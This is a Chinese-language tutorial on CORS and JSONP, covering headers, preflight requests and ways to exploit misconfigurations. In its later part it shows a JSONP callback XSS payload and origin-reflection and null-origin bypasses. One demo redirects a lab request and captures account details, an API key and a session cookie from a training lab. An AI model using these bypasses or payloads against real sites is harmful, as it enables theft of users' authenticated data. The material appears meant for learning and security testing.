添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

Cross-Origin Resource Sharing (CORS) (web.dev) 一文。

header("Access-Control-Allow-Origin: https://www.baidu.com"); echo 'test data';

设置完成后再次访问就能得到数据。

那我们尝试用 JavaScript 设置个 Origin: https://www.baidu.com 头呢?是不是可以绕过。

实际上覆盖失败。

携带 Cookie 发送跨域请求

跨域中有很多场景需要携带 Cookie 去访问,在前面的操作中默认没有带有 Cookie 进行请求,JS 请求时需要专门启用属性。

var oReq = new XMLHttpRequest();
oReq.open("GET", "https://www.raingray.com/test.php", true); // 添加 true
oReq.withCredentials = true;  // 携带 Cookie 访问
oReq.send();

Fetch 也一样。

fetch('https://www.raingray.com/test.php', {
  credentials: 'include'  // 携带 Cookie 访问

你请求中带有Server 端在响应头也要加上 Access-Control-Allow-Credentials: true,如果不带,浏览器找不到响应头就不显示展示响应数据。

尝试 Server 不带 Access-Control-Allow-Credentials: true

Access to XMLHttpRequest at 'https://www.raingray.com/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Server 添加上响应头,去访问。

header("Access-Control-Allow-Origin: https://www.baidu.com"); header("Access-Control-Allow-Credentials: true"); echo 'test data';

没有报错,但是 Header 中没发现 Cookie,原因是 Cookie 中 Domain 没有 raingray.com 或 www.raingray.com 或者 Path 不在作用域范围内,所以浏览器不会带上其所有 Cookie。

Server 端在设置 Access-Control-Allow-Credentials: true 的同时要注意 Access-Control-Allow-Origin 值不能为 * 否则浏览器也不会获取响应数据。

header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true"); echo 'test data';

CORS-preflight request

日常测试中你肯定见过有发 OPTIONS 请求,但一直搞不明白是什么意思,其实 OPTIONS 请求叫 Preflight request(预检请求),目的是防止一些有害请求发送到服务器,而 OPTIONS 就是在发送真正请求前做检查,一旦不在服务器允许方法或请求头范围内浏览器就报错,后面请求不会发送。

哪些情况下会发送预检请求?

先看不会发送预检请求的情况。只有使用请求方法 GET、POST、HEAD,或使用 cors-safelisted-request-header 中的请求头和值才不会发送预检请求,这种请求叫 Simple requests。

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type
  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain
  • Range
  • 当不符合上述限定的请求方法和请求头就会发送预检请求。

    继续用 test.php 为例。为方便测试这里设置星号,表示允许任意域发起的跨域请求。

    header("Access-Control-Allow-Origin: *"); echo 'test data';

    在浏览器 Console 发送请求把服务器的响应通过 log 打印在控制台。

    fetch(
        'https://www.raingray.com/usr/themes/default/test.php',
            method: 'POST',
            headers: {'Authorization': 'Bearer null'},
            body: 'a=1'
    .then(response => response.text())
    .then( result => console.log(result));
    

    奇怪的是通过代理获取到完整请求只有 OPTIONS。

    OPTIONS /usr/themes/default/test.php HTTP/2
    Host: www.raingray.com
    Accept: */*
    Access-Control-Request-Method: POST
    Access-Control-Request-Headers: authorization
    Origin: https://www.baidu.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Dest: empty
    Referer: https://www.baidu.com/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    HTTP/2 200 OK
    Server: nginx
    Date: Sat, 30 Jul 2022 05:36:25 GMT
    Content-Type: text/html; charset=UTF-8
    Access-Control-Allow-Origin: *
    test data
    

    根据前面说的两个规则做检查,请求方法在范围内而请求头 authorization 在 cors-safelisted-request-header 范围外,整体不构成 SimpleRequest,必须发送预检请求。

    这一点可以通过预检请求两个新增请求头来核对。

    Access-Control-Request-Method: POST
    Access-Control-Request-Headers: authorization
    

    Access-Control-Request-Method 表明本次请求使用的方法,Access-Control-Request-Headers 本次请求头使用的请求头。

    为什么后续 POST 请求没有发送?观察 Console 发现返回 CORS Policy Error,说预检响应中 authorization 不被允许。

    Access to fetch at 'https://www.raingray.com/usr/themes/default/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response.
    

    和配置 Access-Control-Allow-Origin 一样原理,只是浏览器没有看到服务器返回的请求头中包含 authorization,只要在服务端配置 Access-Control-Allow-Headers 就能解决。

    header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: authorization"); echo 'test data';

    这里我配置的是一个请求头 header("Access-Control-Allow-Headers: authorization"),如果你想使用任何请求头使用使用 *,或者有多个请求头可以用逗号做分隔 Header, Header

    重新请求,没有报错,成功输出 Response Body。

    前面只是 Access-Control-Allow-Headers 错误,再来看 Access-Control-Allow-Methods 错误是什么样子的,确保以后遇到觉得眼熟。

    前面说过请求方法是 GET、POST、HEAD 方法就不会触发预检请求,因此就算 Access-Control-Allow-Methods 限制方法只能为 GET,那么使用 POST、HEAD 也没事因为处于 SimpleRequest 请求方法范围内,但超出这个范围请求方法会被阻止,如 PUT、PATCH、DELETE、OPTIONS。

    这回把请求方法改为 PATCH。

    fetch(
        'https://www.raingray.com/usr/themes/default/test.php',
            method: 'PATCH',
            headers: {'Authorization': 'Bearer null'},
            body: 'a=1'
    .then(response => response.text())
    .then( result => console.log(result));
    

    显示 PATCH 方法不被允许。

    Access to fetch at 'https://www.raingray.com/usr/themes/default/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: Method PATCH is not allowed by Access-Control-Allow-Methods in preflight response.
    

    还是一样,配置响应头 header("Access-Control-Allow-Methods: PATCH");,值可以使用 *,代表任何方法,多个值用逗号做分隔,如 PUT, PATCH

    header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: Content-Type"); header("Access-Control-Allow-Methods: PATCH"); echo 'test data';

    允许 PATCH 方法后请求成功。

    CORS 预检请求还剩一个请求头你就学完所有内容了,最后我们来谈谈 Access-Control-Max-Age

    Access-Control-Max-Age 的出现是控制 OPTIONS 请求缓存有效期,如果设置这个头浏览器会将本次 OPTIONS 响应结果(Access-Control-Allow-Methods 和 Access-Control-Allow-Headers)缓存,在缓存时间内发送请求不需要预检,等过期后再做预检,这样就能省下 OPTIONS 请求时间。

    Access-Control-Max-Age 配置也很简单,Value 单位是秒。

    Access-Control-Max-Age: 86400
    

    Value 常见配置。

    返回结果可以被缓存的最长时间(秒)。 在 Firefox 中,上限是 24 小时 (即 86400 秒)。 在 Chromium v76 之前, 上限是 10 分钟(即 600 秒)。 从 Chromium v76 开始,上限是 2 小时(即 7200 秒)。 Chromium 同时规定了一个默认值 5 秒。 如果值为 -1,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。

    https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Access-Control-Max-Age

    https://127.0.0.1/test.php?callback=testa 这个接口返回 testa({"name":"bob"}),因为传啥就返回啥,其中传入的参数 testa 会被当作 padding 输出,得到 testa(),再把 JSON 数据{"name":"bob"}拼接,最终得到 testa({"name":"bob"})

    为什么要返回一个很奇怪的数据呢?是需要前端 JS 去解析它。仔细观察返回的数据,它跟 JS 中函数定义方式一样?其中传入 {"name":"bob"} JSON 数据,在 JS 中这种数据会被当作对象,那么作为参数传入函数内部就可以直接调用此对象。

    直接在前端编写如下代码。

    <script>
        function testa(data){  // 先定义好函数方便后面去调用,不然调用一个不存在的函数会报错。
            console.log(data.name);
    </script>
    <script src="https://127.0.0.1/test.php?callback=testa"></script>
    

    当打开这个页面时,整个客户端发起跨域的过程是用 script 标签 src 属性调用 test.php 接口。

  • 打开页面 script 标签向 https://127.0.0.1/test.php?callback=testa 发起 HTTP GET 请求。
  • 请求成功得到后端 test.php 响应内容 testa({"name":"bob"})
  • 内容被 script 标签当作 JavaScript 代码执行,就相当于调用了先前定义的 testa 函数并把 JSON 数据当作参数传入。说的专业点就是调用回调函数。
  • 函数体对参数进行操作,使用 console.log 在浏览器 Console 日志返回 name 对象属性 bob 的值,完成整个跨域请求。
  • 其实以上操作在 JQuery 中已经帮你做好封装自动创建 DOM,不需要手动单独创建 script 标签将 src 指向 API,或在 document API 创建 script 标签 append 到 body 这一冗余繁琐过程。

    $.ajax({
        url: "https://127.0.0.1/test.php", // 要请求的 API
        jsonp: "jsonpcallback",
        dataType: "jsonp",
        data: {
            callback: "returndata"
    function returndata(data) {
        alert(data.name)
    

    光是成功完成跨域还不行,如果后端代码中没有添加 Content-type: application/json; charset=utf-8,浏览器会默认猜测 MIME 类型。本次测试中发现默认是 text/html,浏览器只要解析 HTML 那么就会产生 HTML 注入,可以尝试 XSS 攻击。

    当访问 http://127.0.0.1/test.php?callback=<img%20src%3d%23%20onerror%3dalert%281%29> 会返回 <img src=# onerror=alert(1)>({"name":"bob"})

    GET /test.php?callback=%3Cimg%20src%3d%23%20onerror%3dalert%281%29%3E HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
    sec-ch-ua-mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    HTTP/1.1 200 OK
    Server: nginx/1.15.11
    Date: Mon, 24 May 2021 03:20:42 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: close
    X-Powered-By: PHP/7.3.4
    Content-Length: 44
    <img src=# onerror=alert(1)>({"name":"bob"})
    

    响应中发现 Content-Type: text/html; charset=UTF-8,意思是告诉浏览器按照 HTML 来解析内容,那么 img 标签就会被解析。

    以上介绍了古老 JSONP 和现在 CORS,除以上两种方法外,还有以下操作跨域方法:

  • 通过代理跨域 :先向本域 Proxy 发送请求 -> Proxy 转发给其他服务器 -> 其他服务器处理完请求返回数据给 Proxy -> 返回给浏览器。
  • 根据请求中的 Origin 动态生成对应 Access-Control-Allow-Origin(下面简称 ACAO)值。
  • 1.应用或者 WebServer 配置错误

    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true
    

    浏览器请求会报错,Access-Control-Allow-Credentials 为 true,ACAO 不能为通配符。

    2.只有 ACAO 头可控

    Access-Control-Allow-Origin: *
    

    ACAO 头能控制,但是不允许携带 Cookie 请求。除非目标接口认证缺失,这样是未授权,没必要通过 CORS 利用。另一个思路是利用浏览器缓存获取数据,只要服务端允许浏览器做缓存,可以利用 JS 请求获取缓存数据。

    3.参数不可预测

    URL 中有不确定因素,如 Token 或 Signature 等手段也无法进行攻击,这跟 CSRF 防护原理一致。

    1.Origin 内容反射在 ACAO

    不管 Origin 输入什么,响应头 ACAO 都会返回对应 URL,而且 Access-Control-Allow-Credentials 允许带 Cookie 请求。

    Access-Control-Allow-Origin: https://example.com
    Access-Control-Allow-Credentials: true
    

    市面上工具检测基本原理也是根据 Origin 输入的内容去匹配响应头中输出。最简单的方式是用 curl 去验证。

    curl https://example.com -H "Origin: https://example.com" -I
    

    2.ACAO 能使用 null

    如遇到在 Origin 输入 null,ACAO 也返回 null,可以利用。

    Access-Control-Allow-Origin: null
    Access-Control-Allow-Credentials: true
    

    另一个情况是 CORS 白名单域名应用存在 Open Redirect 漏洞,可以使用 Open Redirect,触发 XSS 绕过 CORS 检查,发起请求获取数据,这样就大大减少用户警觉。待验证。如果重定向 XSS Orgin 是 null 能绕过 null 限制吗?

    SOP Bypass via browser-cache
    SOP bypass using browser cache
    Bypassing SOP using the browser cache
    

    整体思路和 CSRF 绕过差不多。都是检查 ACAO 的值。

    https://www.corben.io/advanced-cors-techniques 一文提到浏览器域名解析来绕过 Origin 限制子域名情景(*.example.com),反正不管啥子域名都能接收,那么让受害者访问 example.com!.eval.com,能够跳转到我们指定的域名就行(做 cname)。

    这个要看浏览器是否能不检查域名错误直接去访问,https://infosecwriteups.com/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397 这篇文章 Part 2 有实际案例,Safari 浏览器在 Origin 可以接受 ASCII 码,比如在 example.com 域名在前面添加 ASCII 可能绕过直接访问到服务端数据。其实到这里为什么不用思路 1 绕过呢?这种绕个圈太麻烦,虽然有研究意义。

    此小节的绕过没有经过验证,看浏览器版本很老,估计已经修复。

    example.com 存在跨域漏洞,不过限制了只能子域名和 xxx.com 能访问,可以尝试在子域名 *.example.com 和 xxx.com 中挖掘 XSS,通过事件或注入 script 标签向发起 example.com 请求获取数据。

    如果能子域接管也能绕过,你可能会问啥是子域名接管。简单来说是 a.com 设置 CNAME 记录指向 b.com,当在浏览器访问 a.com 时 浏览器解析到记录为 b.com,浏览器一看 ACAO 与当前 b.com 域名一致同源策略就不拦截。需要搭建环境进行测试

    不加 sandbox 属性 也可成功 <iframe src="data:text/html,<script>...</script>。经过实验发现确实可以不加,这之间的区别暂时没弄清。

    除此之外通过重定向也会产生 Origin: null 的现象。下面通过本地搭建 127.0.0.1:80/index.php 和 127.0.0.1:8090/redirect.php 两个站点来验证。

    127.0.0.1:80/index.php。

    fetch('http://127.0.0.1:8090/redirect.php', {
    	credentials: 'include'  // 携带 Cookie 访问
    

    127.0.0.1:8090/redirect.php。

    header("Access-Control-Allow-Origin: http://127.0.0.1:80"); header("Access-Control-Allow-Credentials: true"); header("Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails", true, 307); // 301/302/307 重定向均为 null

    当访问 127.0.0.1:80/index.php 后 Fetch 向 127.0.0.1:8090/redirect.php 发起 GET 请求,Response 307 重定向到 API 接口获取数据。

    GET /redirect.php HTTP/1.1
    Host: 127.0.0.1:8090
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
    DNT: 1
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
    Accept: */*
    Origin: http://127.0.0.1
    Sec-Fetch-Site: same-site
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1/
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    HTTP/1.1 307 Temporary Redirect
    Server: nginx/1.15.11
    Date: Tue, 25 May 2021 05:10:57 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/7.3.4
    Access-Control-Allow-Origin: http://127.0.0.1
    Access-Control-Allow-Credentials: true
    Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails
    

    此时访问 API 的请求 Origin 是 null。

    GET /accountDetails HTTP/1.1
    Host: aca31fd61ecb3511806502b700d40080.web-security-academy.net
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
    DNT: 1
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
    Accept: */*
    Origin: null
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1/
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: session=wHMLuBozwdsx16MdbRs6yYyd43SNg9ia
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: null
    Access-Control-Allow-Credentials: true
    Content-Type: application/json; charset=utf-8
    X-XSS-Protection: 0
    Connection: close
    Content-Length: 149
      "username": "wiener",
      "email": "",
      "apikey": "qtPYfFbck2qwyT9p0sZX1U8ox3jvmu4V",
      "sessions": [
        "wHMLuBozwdsx16MdbRs6yYyd43SNg9ia"
    

    既然支持 307 那么 Fetch 使用任意 HTTP 方法都可以支持重定向,不会改变重定向后的请求方法。不管 API 支持什么请求方法都能够执行。

    浏览器的同源策略 - Web 安全 | MDN (mozilla.org)

    跨源资源共享(CORS) - HTTP | MDN (mozilla.org)

    32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?

    CORS Demos,跨域在线演示

    enable cross-origin resource sharing (enable-cors.org),设置 CORS 共享方法

    Hacking HTTP CORS from inside out: a theory to practice approach

    What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy

    利用JSONP/ CORS實現Cross-Origin Request

    Ajax 跨域

    Send JSONP Cross-domain Requests

    Misconfigured CORS

    https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

    Exploiting CORS misconfigurations for Bitcoins and bounties

    Think Outside the Scope: Advanced CORS Exploitation Techniques

    3 Ways You Can Exploit CORS Misconfigurations

    Cross-origin resource sharing (CORS),在线 lab

    Exploit a misconfigured CORS - Lab,在线 lab

    《Web攻防之业务安全实战指南》

    The Complete Guide to CORS (In)Security